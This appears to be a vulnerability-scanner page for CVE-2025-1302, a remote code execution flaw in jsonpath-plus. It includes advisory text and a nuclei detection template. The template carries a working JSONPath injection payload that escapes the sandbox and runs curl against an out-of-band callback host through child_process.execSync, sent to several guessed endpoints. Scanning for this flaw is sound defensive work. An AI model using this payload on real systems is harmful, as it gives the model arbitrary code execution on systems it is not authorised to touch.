JSONPath Plus < 10.3.0 - Remote Code Execution

criticalseverity

9.8CVSS score

10.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]

Impact

Attackers can execute arbitrary code on the system, potentially leading to full system compromise.

Fix

Update to version 10.3.0 or later.

How to confirm it

Send: POST {{BaseURL}}/query ; POST {{BaseURL}}/jsonpath ; POST {{BaseURL}}/api/query ; POST {{BaseURL}}/data ; POST {{BaseURL}}/parse
Positive when: contains "\"result\":" AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2025-1302 -u <target>

The full check

id: CVE-2025-1302

info:
  name: JSONPath Plus < 10.3.0 - Remote Code Execution
  author: Jaenact
  severity: critical
  description: |
    Versions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode. **Note:** This is caused by an incomplete fix for [CVE-2024-21534]
  impact: |
    Attackers can execute arbitrary code on the system, potentially leading to full system compromise.
  remediation: |
    Update to version 10.3.0 or later.
  reference:
    - https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-8719585
    - https://github.com/JSONPath-Plus/JSONPath
    - https://github.com/EQSTLab/CVE-2025-1302
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1302
    - https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-1302
    cwe-id: CWE-94
    epss-score: 0.10395
    epss-percentile: 0.95766
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,rce,jsonpath,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/query"
      - "{{BaseURL}}/jsonpath"
      - "{{BaseURL}}/api/query"
      - "{{BaseURL}}/data"
      - "{{BaseURL}}/parse"
      - "{{BaseURL}}/filter"
      - "{{BaseURL}}/expression"

    headers:
      Content-Type: application/json

    body: |
      {
        "path":
        "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('curl {{interactsh-url}}').toString())\";Ethan=''[['constructor']][['constructor']](p);Ethan())]"
      }

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":'

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from